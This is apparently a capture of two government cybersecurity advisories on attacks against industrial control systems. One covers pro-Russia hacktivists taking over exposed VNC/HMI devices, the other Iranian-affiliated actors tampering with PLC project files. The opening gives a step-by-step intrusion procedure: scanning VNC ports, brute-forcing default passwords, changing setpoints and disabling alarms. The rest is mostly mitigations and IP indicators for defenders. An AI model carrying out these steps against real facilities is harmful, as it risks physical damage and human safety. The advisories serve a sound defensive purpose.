Use VNC software to access hosts [T1021.005].
Confirm connection to the vulnerable device [T0886].
Brute force the password, if required [T1110.003].
Gain access to HMI devices [T0883], typically with default [T0812], weak, or no passwords [T0859].
Log the confirmed vulnerable device IP address, port, and password.
Using the HMI graphical interface [T0823], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [T0828]:

Modify usernames/passwords [T0892];
Modify parameters [T0836];
Modify device name [T0892];
Modify instrument settings [T0831];
Disable alarms [T0878];
Create loss of view (a technique that mandates local hands-on operator intervention) [T0829]; and/or
Device restart or shutdown [T0816].

Disconnect from the device, ending the VNC connection.
Research the compromised device company after the intrusion [T1591].

Propagation
To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.
Reconnaissance and Initial Access
The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as Nmap or OPENVAS, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port 5900 or other nearby ports (5901-5910). Their goal is to gain remote access to HMI devices connected to live control networks.
Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.
Impact
While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.
Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.
MITRE ATT&CK Tactics and Techniques
See Table 1 to Table 10 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 1. Reconnaissance

Technique Title
ID
Use

Gather Victim Organization Information
T1591
Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.

Active Scanning: Vulnerability Scanning
T1595.002
Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.

Table 2. Resource Development

Technique Title
ID
Use

Acquire Infrastructure: Virtual Private Server
T1583.003
Threat actors use virtual infrastructure to obfuscate identifiers.

Table 3. Initial Access

Technique Title
ID
Use

Internet Accessible Device
T0883
Threat actors gain access through less secure HMI devices exposed to the internet.

Table 4. Persistence

Technique Title
ID
Use

Valid Accounts
T0859
Threat actors use password guessing tools to access legitimate accounts on the HMI devices.

Table 5. Credential Access

Technique Title
ID
Use

Brute Force: Password Spraying
T1110.003
Threat actors use tools to rapidly guess common or simple passwords.

Table 6. Lateral Movement

Technique Title
ID
Use

Default Credentials
T0812
Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.

Remote Services
T0886
Threat actors leverage VNC services to access system HMI devices.

Remote Services: VNC
T1021.005
Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.

Table 7. Execution

Technique Title
ID
Use

Graphical User Interface
T0823
Threat actors interact with HMI devices via GUIs, attempting to modify control devices.

Table 8. Inhibit Response Function

Technique Title
ID
Use

Device Restart/Shutdown
T0816
While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.

Alarm Suppression
T0878
Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.

Change Credential
T0892
Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.

Table 9. Impair Process Control

Technique Title
ID
Use

Modify Parameter
T0836
Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.

Unauthorized Command Message
T0855
Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.

Table 10. Impact

Technique Title
ID
Use

Loss of Productivity and Revenue
T0828
Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.

Loss of View
T0829
Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. 

Manipulation of Control
T0831
Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  

Incident Response
If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:

Determine which hosts were compromised and isolate them by quarantining or taking them offline.
Initiate threat hunting activities to scope the intrusion. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.
Reimage compromised hosts.
Provision new account credentials.
Report the compromise to CISA, FBI, and/or NSA. See the Contact Information section of this advisory.
Harden the network to prevent additional malicious activity. See the Mitigations section of this advisory for guidance.

Mitigations
OT Asset Owners and Operators
The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

Reduce exposure of OT assets to the public-facing internet. When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [CPG 3.S].

Asset owners should use attack surface management services and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.
Note: For more information on attack surface management, see CISA’s Internet Exposure Reduction Guidance, CISA’s Cyber Hygiene Services for U.S. critical infrastructure, and NSA’s Attack Surface Management for the U.S. Defense Industrial Base.
Implement network segmentation between IT and OT networks. Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [CPG 3.I].
Consider implementing a firewall and/or virtual private network if exposure to the internet is necessary for controlling access to devices.

Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.
Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.
Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.
Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.

Adopt mature asset management processes, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [CPG 2.A].

Keep remote access services updated with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.

Keep VNC systems updated with the latest version available.

Refer to the joint Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.

Ensure OT assets use robust authentication procedures.

Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.
Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [CPG 3.A] [CPG 3.B] [CPG 3.C] [CPG 3.F].
Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [CPG 3.E].
Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [CPG 3.R].
Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.

Enable control system security features that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [CPG 3.G].
Implement and practice business recovery/disaster recovery plans. Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.

Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [CPG 6.A].
Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [CPG 3.O].

Collect and monitor the traffic of OT assets and networking devices. This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.
Review configurations for setpoint ranges or tag values to stay within safe ranges and establish alerting for deviations.
Take a proactive approach in the procurement process by following the guidance outlined in the joint guide Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.

OT Device Manufacturers
Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software.

Eliminate default credentials and require strong passwords. The use of default credentials is a top weakness threat actors exploit to gain access to systems.
Mandate MFA for privileged users. Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.
Practice secure by default principles. OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.

Include logging at no additional charge. Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.

Publish Software Bill of Materials (SBOMs). Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s SBOM webpage for more information.

Additionally, see CISA’s Secure by Design Alert on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.
For more information on secure by design, see CISA’s Secure by Design webpage.
Validate Security Controls
In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&CK techniques described in this advisory.
To start:

Select an ATT&CK technique described in this advisory (see Table 1 to Table 10).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
Resources
Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:

CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.
CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity that can help organizations protect OT systems from pro-Russia hacktivist activity.
NSA and CISA’s guidance on Control System Defense: Know the Opponent helps organizations defend OT and ICS assets against malicious cyber activity.
CISA and EPA’s resource page on Water and Wastewater Cybersecurity to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.

For additional guidance, see CISA, EPA, and FBI’s fact sheet on Top Cyber Actions for Securing Water Systems.

The Food and Ag-ISAC’s best practices on Food and Ag Cybersecurity: A Guide for Small & Medium Enterprises provides recommendations to help mitigate against cyber threats.
DOE and National Association of Regulatory Utility Commissioners Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER) webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.

Additional resources that apply to this advisory include:

EPA’s Cybersecurity for the Water Sector resource page provides organizations with guidance on implementing basic cyber hygiene practices.
CISA’s Cross-Sector Cybersecurity Performance Goals enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.
CISA’s Require Strong Passwords webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.
CISA, NSA, FBI, EPA, TSA, and international partners’ guidance Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.
DOE’s guidance on Cyber-Informed Engineering recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.
CISA’s Cyber Hygiene Services help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.
CISA, NSA, FBI, and international partners’ guidance on Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software urges software manufacturers to provide customers with products that are safer and more secure.

See more information in these Secure by Design Alerts: How Manufacturers Can Protect Customers by Eliminating Default Passwords and How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity.

Contact Information
U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:

Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.
Canadian organizations: Report incidents by emailing Cyber Centre at contact@cyber.gc.ca.
New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.
United Kingdom organizations: Report a significant cyber security incident: report.ncsc.gov.uk (monitored 24 hours) or, for urgent assistance, call 03000 200 973.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.
Acknowledgements
Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.
Version History
December 09, 2025: Initial version.
Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups
For further information on targeting methodologies for pro-Russia hacktivist groups, see:

CISA’s alert Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology;
The joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology; and
CISA’s Russia Cyber Threat webpage.

Appendix B: Additional Designators Used for Cited Groups
The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.
Note: Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.

GRU military unit 74455

Sandworm Team
Voodoo Bear
Seashell Blizzard
APT44

Cyber Army of Russia Reborn (CARR)

CyberArmy of Russia
Народная CyberАрмия (НКА)
People’s CyberArmy of Russia (PCA)
Russian CyberArmy Team (RCAT)

NoName057(16)

NoName057(16) Spain
NoName057(16) Italy
NoName057(16) France

Z-Pentest

Z-Pentest Beograd
Z-Pentest Alliance
Z-Alliance

Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
Sat, 25 Jul 2026 09:12:34 +0200
Advisory at a Glance

Title
Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure

Original Publication
April 7, 2026

Last Update 
July 22, 2026

Executive Summary
The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.

Last Update Description
This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.

Affected Products
Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.

Key Actions

Install PLCs consistent with manufacturers' guidelines and security best practices.
Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action.
Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including 44818, 2222, 102, and 502, especially traffic originating from foreign hosting providers.
For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.

Indicators of Compromise

For a downloadable copy of July 22, 2026 IOCs, see:

AA26-097A STIX XML (July 2026) (29 KB)
AA26-097A STIX JSON (July 2026) (30 KB)

For a downloadable copy of historical April 7, 2026 IOCs, see:

AA26-097A STIX XML (36 KB)
AA26-097A STIX JSON (12 KB)

Intended Audience

Organizations: Critical Infrastructure
Sectors: Government Services and Facilities, Water and Wastewater Systems (WWS), and Energy 
Roles: Integrators, asset owners, defensive cybersecurity analysts, OT cybersecurity engineers, cybersecurity architects, secure systems developer

Introduction
Note: This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.
The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files¹ and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.
The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including Government Services and Facilities (to include local municipalities), Water and Wastewater Systems (WWS), and Energy Sectors. The authoring agencies previously reported on similar activity targeting PLCs by CyberAv3ngers (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).
Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the Mitigations section of this advisory to reduce the risk of compromise.
If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see Contact Information) to receive support, mitigation, and investigation assistance.
For more information on Iranian malicious cyber activity, see CISA’s Iran Threat Overview and Advisories webpage and the FBI’s Iran Threat and Iran Cyber Threat Overview webpages.
Download the PDF version of this report:

    Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
    (PDF,       1.09 MB
  )

(New, July 22, 2026) For a downloadable copy of July 22, 2026 IOCs, see:

AA26-097A STIX XML (XML, 29 KB)
AA26-097A STIX JSON (JSON, 30 KB)

For a downloadable copy of historical April 7, 2026 IOCs, see:

    AA26-097A.stix_.xml
    (XML,       35.97 KB
  )

    AA26-097A.stix_.json
    (JSON,       11.87 KB
  )

Background Information
Similar Historical Activity Targeting Programmable Logic Controllers
During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.
For more information on this group’s activity, see the joint Cybersecurity Advisory IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities.
Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers
The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.
(New, July 22, 2026) At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.
Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including Government Services and Facilities, WWS, and Energy Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.
Technical Details
Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 19. See the MITRE ATT&CK Tactics and Techniques section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.
Initial Access
(Updated, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [T0883]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: 44818, 2222, 102, and 502, as well as targeting modems on port 22. Targeted devices include:

Rockwell Automation: CompactLogix and Micro850 PLCs
Schneider Electric: BMX P34/Modicon M340 PLCs
Siemens: S7-1200 series PLCs

Command and Control
(Updated, July 22, 2026) The targeting of ports [T0885] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port 22 [T1219].
Exfiltration
(New, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [T1041].
Impact
(Updated, July 22, 2026) After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [T1565]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.
Note: An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.
Indicators of Compromise
See Table 1 and Table 2 for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.
Disclaimer: The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Table 1. Indicators of Compromise (New, July 22, 2026)

Indicator
Beginning of Actor Association
End of Actor Association

185.82.73[.]175
September 2025
February 2026

141.11.164[.]153
January 2026
June 2026

175.110.121[.]42
February 2026
March 2026

175.110.121[.]39
February 2026
March 2026

175.110.121[.]41
February 2026
March 2026

175.110.121[.]107
February 2026
February 2026

192.142.54[.]79
May 2026
June 2026

84.200.205[.]165
May 2026
June 2026

185.225.17[.]225
June 2026
July 2026

79.133.46[.]209
July 2026
July 2026

88.80.150[.]199
July 2026
July 2026

88.80.150[.]200
July 2026
July 2026

88.80.150[.]202
July 2026
July 2026

Table 2. Indicators of Compromise 

Indicator
Beginning of Actor Association
End of Actor Association

185.82.73[.]162
January 2025
March 2026

185.82.73[.]164
January 2025
March 2026

185.82.73[.]165
January 2025
March 2026

185.82.73[.]167
January 2025
March 2026

185.82.73[.]168
January 2025
March 2026

185.82.73[.]170
January 2025
March 2026

185.82.73[.]171
January 2025
March 2026

135.136.1[.]133
March 2026
March 2026

MITRE ATT&CK Tactics and Techniques
See Table 3 to Table 6 for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 3. Initial Access

Technique Title
ID
Use

Internet Accessible Device
T0883
The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.

Table 4. Command and Control

Technique Title
ID
Use

Commonly Used Port
T0885
The actors leveraged commonly used OT ports to communicate with PLCs.

Remote Access Tools 
T1219
The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port 22.

Table 5. Exfiltration (New, July 22, 2026)

Technique Title
ID
Use

Exfiltration Over C2 Channel
T1041
The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.

Table 6. Impact

Technique Title
ID
Use

Data Manipulation
T1565
The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.

Mitigations
The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.
Network Defenders
The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.
(Updated, July 22, 2026) In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:

Rockwell Automation: Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at PSIRT@rockwellautomation.com for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.

Refer to Rockwell Automation Security Advisory SD1771 for recommended PLC hardening measures and configuration guidance.

Schneider Electric: Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.

Refer to Schneider Electric’s Recommended Cybersecurity Best Practices and Cybersecurity User Guide for Modicon Controller Platform for guidance on securing and configuring PLCs.

Siemens: Contact Siemens ProductCERT at productcert@siemens.com for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.

Refer to Siemens Security Bulletin 104599 for a list of security measures to harden PLCs and in-depth configuration guides.
Siemens users should review the Cybersecurity for Industry Operational Guidelines and implement defense-in-depth controls within their automation systems.

Immediate steps to prevent the attack:

Disconnect the PLC from the public-facing internet [CPG 3.S]. Follow the joint guidance Secure connectivity principles for OT to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.

Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.
Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.
(New, July 22, 2026) To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).

(New, July 22, 2026) Strictly control network access to PLC devices.

Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.

